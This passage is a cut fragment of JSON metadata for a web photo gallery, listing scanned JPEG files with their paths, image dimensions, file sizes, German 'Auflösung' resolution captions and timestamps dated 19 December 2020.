    S22C-620121515570 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515570_0001.jpg","width":340,"height":260},"fileSize":289800,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515570_0001.jpg","dates":{"dateTaken":1608392651},"fileDate":"2020-12-19T16:44:11.663Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:11.663Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515571_0001.jpg","image":{"path":"slides\/S22C-620121515571_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515571 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515571_0001.jpg","width":340,"height":260},"fileSize":255175,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515571_0001.jpg","dates":{"dateTaken":1608392652},"fileDate":"2020-12-19T16:44:12.682Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:12.682Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515572_0001.jpg","image":{"path":"slides\/S22C-620121515572_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515572 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515572_0001.jpg","width":340,"height":260},"fileSize":305560,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515572_0001.jpg","dates":{"dateTaken":1608392653},"fileDate":"2020-12-19T16:44:13.666Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:13.666Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515573_0001.jpg","image":{"path":"slides\/S22C-620121515573_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515573 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515573_0001.jpg","width":340,"height":260},"fileSize":354015,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515573_0001.jpg","dates":{"dateTaken":1608392654},"fileDate":"2020-12-19T16:44:14.647Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:14.647Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515574_0001.jpg","image":{"path":"slides\/S22C-620121515574_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515574 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515574_0001.jpg","width":340,"height":260},"fileSize":455730,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515574_0001.jpg","dates":{"dateTaken":1608392655},"fileDate":"2020-12-19T16:44:15.553Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:15.553Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515580_0001.jpg","image":{"path":"slides\/S22C-620121515580_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515580 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515580_0001.jpg","width":340,"height":260},"fileSize":596289,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515580_0001.jpg","dates":{"dateTaken":1608392656},"fileDate":"2020-12-19T16:44:16.481Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:16.481Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515581_0001.jpg","image":{"path":"slides\/S22C-620121515581_0001.jpg","width":1000,"height":722},"imageCaption":"

    S22C-620121515581 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515581_0001.jpg","width":340,"height":260},"fileSize":180085,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121515581_0001.jpg","dates":{"dateTaken":1608392657},"fileDate":"2020-12-19T16:44:17.368Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:17.368Z","resolution":"1535 x 2125"}},{"path":"S22C-620121515582_0001.jpg","image":{"path":"slides\/S22C-620121515582_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515582 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515582_0001.jpg","width":340,"height":260},"fileSize":362050,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515582_0001.jpg","dates":{"dateTaken":1608392658},"fileDate":"2020-12-19T16:44:18.675Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:18.675Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515583_0001.jpg","image":{"path":"slides\/S22C-620121515583_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515583 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515583_0001.jpg","width":340,"height":260},"fileSize":748299,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515583_0001.jpg","dates":{"dateTaken":1608392659},"fileDate":"2020-12-19T16:44:19.709Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:19.709Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515590_0001.jpg","image":{"path":"slides\/S22C-620121515590_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515590 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515590_0001.jpg","width":340,"height":260},"fileSize":556544,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515590_0001.jpg","dates":{"dateTaken":1608392660},"fileDate":"2020-12-19T16:44:20.863Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:20.863Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515591_0001.jpg","image":{"path":"slides\/S22C-620121515591_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515591 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515591_0001.jpg","width":340,"height":260},"fileSize":468680,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515591_0001.jpg","dates":{"dateTaken":1608392661},"fileDate":"2020-12-19T16:44:21.788Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:21.788Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515592_0001.jpg","image":{"path":"slides\/S22C-620121515592_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515592 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515592_0001.jpg","width":340,"height":260},"fileSize":297744,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515592_0001.jpg","dates":{"dateTaken":1608392668},"fileDate":"2020-12-19T16:44:28.865Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:28.865Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516000_0001.jpg","image":{"path":"slides\/S22C-620121516000_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516000 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516000_0001.jpg","width":340,"height":260},"fileSize":330567,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516000_0001.jpg","dates":{"dateTaken":1608392674},"fileDate":"2020-12-19T16:44:34.406Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:34.406Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516001_0001.jpg","image":{"path":"slides\/S22C-620121516001_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516001 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516001_0001.jpg","width":340,"height":260},"fileSize":626663,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516001_0001.jpg","dates":{"dateTaken":1608392675},"fileDate":"2020-12-19T16:44:35.814Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:35.814Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516002_0001.jpg","image":{"path":"slides\/S22C-620121516002_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516002 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516002_0001.jpg","width":340,"height":260},"fileSize":602266,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516002_0001.jpg","dates":{"dateTaken":1608392676},"fileDate":"2020-12-19T16:44:36.778Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:36.778Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516003_0001.jpg","image":{"path":"slides\/S22C-620121516003_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516003 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516003_0001.jpg","width":340,"height":260},"fileSize":401195,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516003_0001.jpg","dates":{"dateTaken":1608392677},"fileDate":"2020-12-19T16:44:37.869Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:37.869Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516004_0001.jpg","image":{"path":"slides\/S22C-620121516004_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516004 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516004_0001.jpg","width":340,"height":260},"fileSize":546408,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516004_0001.jpg","dates":{"dateTaken":1608392678},"fileDate":"2020-12-19T16:44:38.911Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:38.911Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516010_0001.jpg","image":{"path":"slides\/S22C-620121516010_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516010 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516010_0001.jpg","width":340,"height":260},"fileSize":440667,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516010_0001.jpg","dates":{"dateTaken":1608392679},"fileDate":"2020-12-19T16:44:39.811Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:39.811Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516011_0001.jpg","image":{"path":"slides\/S22C-620121516011_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516011 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516011_0001.jpg","width":340,"height":260},"fileSize":597546,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516011_0001.jpg","dates":{"dateTaken":1608392680},"fileDate":"2020-12-19T16:44:40.622Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:40.622Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516012_0001.jpg","image":{"path":"slides\/S22C-620121516012_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516012 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516012_0001.jpg","width":340,"height":260},"fileSize":446567,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516012_0001.jpg","dates":{"dateTaken":1608392681},"fileDate":"2020-12-19T16:44:41.281Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:41.281Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516013_0001.jpg","image":{"path":"slides\/S22C-620121516013_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516013 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516013_0001.jpg","width":340,"height":260},"fileSize":425686,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516013_0001.jpg","dates":{"dateTaken":1608392688},"fileDate":"2020-12-19T16:44:48.868Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:48.868Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516020_0001.jpg","image":{"path":"slides\/S22C-620121516020_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516020_0001.jpg","width":340,"height":260},"fileSize":267428,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516020_0001.jpg","dates":{"dateTaken":1608392691},"fileDate":"2020-12-19T16:44:51.227Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:51.227Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516021_0001.jpg","image":{"path":"slides\/S22C-620121516021_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516021 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516021_0001.jpg","width":340,"height":260},"fileSize":580901,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516021_0001.jpg","dates":{"dateTaken":1608392692},"fileDate":"2020-12-19T16:44:52.662Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:52.662Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516022_0001.jpg","image":{"path":"slides\/S22C-620121516022_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516022 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516022_0001.jpg","width":340,"height":260},"fileSize":555040,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516022_0001.jpg","dates":{"dateTaken":1608392693},"fileDate":"2020-12-19T16:44:53.814Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:53.814Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516023_0001.jpg","image":{"path":"slides\/S22C-620121516023_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516023 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516023_0001.jpg","width":340,"height":260},"fileSize":467805,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516023_0001.jpg","dates":{"dateTaken":1608392694},"fileDate":"2020-12-19T16:44:54.851Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:54.851Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516030_0001.jpg","image":{"path":"slides\/S22C-620121516030_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516030 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516030_0001.jpg","width":340,"height":260},"fileSize":443075,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516030_0001.jpg","dates":{"dateTaken":1608392697},"fileDate":"2020-12-19T16:44:57.473Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:57.473Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516031_0001.jpg","image":{"path":"slides\/S22C-620121516031_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516031_0001.jpg","width":340,"height":260},"fileSize":343646,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516031_0001.jpg","dates":{"dateTaken":1608392698},"fileDate":"2020-12-19T16:44:58.818Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:58.818Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516032_0001.jpg","image":{"path":"slides\/S22C-620121516032_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516032 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516032_0001.jpg","width":340,"height":260},"fileSize":604113,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516032_0001.jpg","dates":{"dateTaken":1608392699},"fileDate":"2020-12-19T16:44:59.972Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:59.972Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516033_0001.jpg","image":{"path":"slides\/S22C-620121516033_0001.jpg","width":578,"height":800},"imageCaption":"

    S22C-620121516033 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516033_0001.jpg","width":340,"height":260},"fileSize":165721,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121516033_0001.jpg","dates":{"dateTaken":1608392704},"fileDate":"2020-12-19T16:45:04.764Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:04.764Z","resolution":"1535 x 2125"}},{"path":"S22C-620121516034_0001.jpg","image":{"path":"slides\/S22C-620121516034_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516034 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516034_0001.jpg","width":340,"height":260},"fileSize":329519,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516034_0001.jpg","dates":{"dateTaken":1608392707},"fileDate":"2020-12-19T16:45:07.237Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:07.237Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516040_0001.jpg","image":{"path":"slides\/S22C-620121516040_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516040 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516040_0001.jpg","width":340,"height":260},"fileSize":387687,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516040_0001.jpg","dates":{"dateTaken":1608392708},"fileDate":"2020-12-19T16:45:08.643Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:08.643Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516041_0001.jpg","image":{"path":"slides\/S22C-620121516041_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516041_0001.jpg","width":340,"height":260},"fileSize":288306,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516041_0001.jpg","dates":{"dateTaken":1608392709},"fileDate":"2020-12-19T16:45:09.735Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:09.735Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516042_0001.jpg","image":{"path":"slides\/S22C-620121516042_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516042 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516042_0001.jpg","width":340,"height":260},"fileSize":443493,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516042_0001.jpg","dates":{"dateTaken":1608392710},"fileDate":"2020-12-19T16:45:10.860Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:10.860Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516043_0001.jpg","image":{"path":"slides\/S22C-620121516043_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516043 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516043_0001.jpg","width":340,"height":260},"fileSize":294205,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516043_0001.jpg","dates":{"dateTaken":1608392713},"fileDate":"2020-12-19T16:45:13.167Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:13.167Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516052_0001.jpg","image":{"path":"slides\/S22C-620121516052_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516052_0001.jpg","width":340,"height":260},"fileSize":469551,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516052_0001.jpg","dates":{"dateTaken":1608392716},"fileDate":"2020-12-19T16:45:16.711Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:16.711Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516053_0001.jpg","image":{"path":"slides\/S22C-620121516053_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516053 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516053_0001.jpg","width":340,"height":260},"fileSize":484515,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516053_0001.jpg","dates":{"dateTaken":1608392718},"fileDate":"2020-12-19T16:45:18.11Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:18.11Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516060_0001.jpg","image":{"path":"slides\/S22C-620121516060_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516060_0001.jpg","width":340,"height":260},"fileSize":490786,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516060_0001.jpg","dates":{"dateTaken":1608392719},"fileDate":"2020-12-19T16:45:19.150Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:19.150Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516170_0001.jpg","image":{"path":"slides\/S22C-620121516170_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516170 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516170_0001.jpg","width":340,"height":260},"fileSize":380212,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516170_0001.jpg","dates":{"dateTaken":1608392720},"fileDate":"2020-12-19T16:45:20.245Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:20.245Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516180_0001.jpg","image":{"path":"slides\/S22C-620121516180_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516180 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516180_0001.jpg","width":340,"height":260},"fileSize":792644,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516180_0001.jpg","dates":{"dateTaken":1608392722},"fileDate":"2020-12-19T16:45:22.10Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:22.10Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516181_0001.jpg","image":{"path":"slides\/S22C-620121516181_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516181 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516181_0001.jpg","width":340,"height":260},"fileSize":613274,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516181_0001.jpg","dates":{"dateTaken":1608392723},"fileDate":"2020-12-19T16:45:23.605Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:23.605Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516190_0001.jpg","image":{"path":"slides\/S22C-620121516190_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516190 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516190_0001.jpg","width":340,"height":260},"fileSize":398456,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516190_0001.jpg","dates":{"dateTaken":1608392724},"fileDate":"2020-12-19T16:45:24.915Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:24.915Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516191_0001.jpg","image":{"path":"slides\/S22C-620121516191_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516191 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516191_0001.jpg","width":340,"height":260},"fileSize":222811,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516191_0001.jpg","dates":{"dateTaken":1608392725},"fileDate":"2020-12-19T16:45:25.946Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:25.946Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516192_0001.jpg","image":{"path":"slides\/S22C-620121516192_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516192 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516192_0001.jpg","width":340,"height":260},"fileSize":488085,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516192_0001.jpg","dates":{"dateTaken":1608392727},"fileDate":"2020-12-19T16:45:27.67Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:27.67Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516200_0001.jpg","image":{"path":"slides\/S22C-620121516200_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516200 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516200_0001.jpg","width":340,"height":260},"fileSize":478389,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516200_0001.jpg","dates":{"dateTaken":1608392727},"fileDate":"2020-12-19T16:45:27.989Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:27.989Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516201_0001.jpg","image":{"path":"slides\/S22C-620121516201_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516201 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516201_0001.jpg","width":340,"height":260},"fileSize":461571,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516201_0001.jpg","dates":{"dateTaken":1608392730},"fileDate":"2020-12-19T16:45:30.218Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:30.218Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516202_0001.jpg","image":{"path":"slides\/S22C-620121516202_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516202 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516202_0001.jpg","width":340,"height":260},"fileSize":551492,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516202_0001.jpg","dates":{"dateTaken":1608392732},"fileDate":"2020-12-19T16:45:32.242Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:32.242Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516210_0001.jpg","image":{"path":"slides\/S22C-620121516210_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516210 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516210_0001.jpg","width":340,"height":260},"fileSize":294833,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516210_0001.jpg","dates":{"dateTaken":1608392734},"fileDate":"2020-12-19T16:45:34.208Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:34.208Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516211_0001.jpg","image":{"path":"slides\/S22C-620121516211_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516211 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516211_0001.jpg","width":340,"height":260},"fileSize":464695,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516211_0001.jpg","dates":{"dateTaken":1608392736},"fileDate":"2020-12-19T16:45:36.207Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:36.207Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516212_0001.jpg","image":{"path":"slides\/S22C-620121516212_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516212 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516212_0001.jpg","width":340,"height":260},"fileSize":392294,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516212_0001.jpg","dates":{"dateTaken":1608392737},"fileDate":"2020-12-19T16:45:37.928Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:37.928Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516213_0001.jpg","image":{"path":"slides\/S22C-620121516213_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516213 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516213_0001.jpg","width":340,"height":260},"fileSize":464595,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516213_0001.jpg","dates":{"dateTaken":1608392739},"fileDate":"2020-12-19T16:45:39.419Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:39.419Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516220_0001.jpg","image":{"path":"slides\/S22C-620121516220_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516220 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516220_0001.jpg","width":340,"height":260},"fileSize":307921,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516220_0001.jpg","dates":{"dateTaken":1608392740},"fileDate":"2020-12-19T16:45:40.584Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:40.584Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516221_0001.jpg","image":{"path":"slides\/S22C-620121516221_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516221 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516221_0001.jpg","width":340,"height":260},"fileSize":499381,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516221_0001.jpg","dates":{"dateTaken":1608392741},"fileDate":"2020-12-19T16:45:41.856Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:41.856Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516222_0001.jpg","image":{"path":"slides\/S22C-620121516222_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516222 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516222_0001.jpg","width":340,"height":260},"fileSize":692973,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516222_0001.jpg","dates":{"dateTaken":1608392743},"fileDate":"2020-12-19T16:45:43.447Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:43.447Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516223_0001.jpg","image":{"path":"slides\/S22C-620121516223_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516223 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516223_0001.jpg","width":340,"height":260},"fileSize":324416,"photodata":"

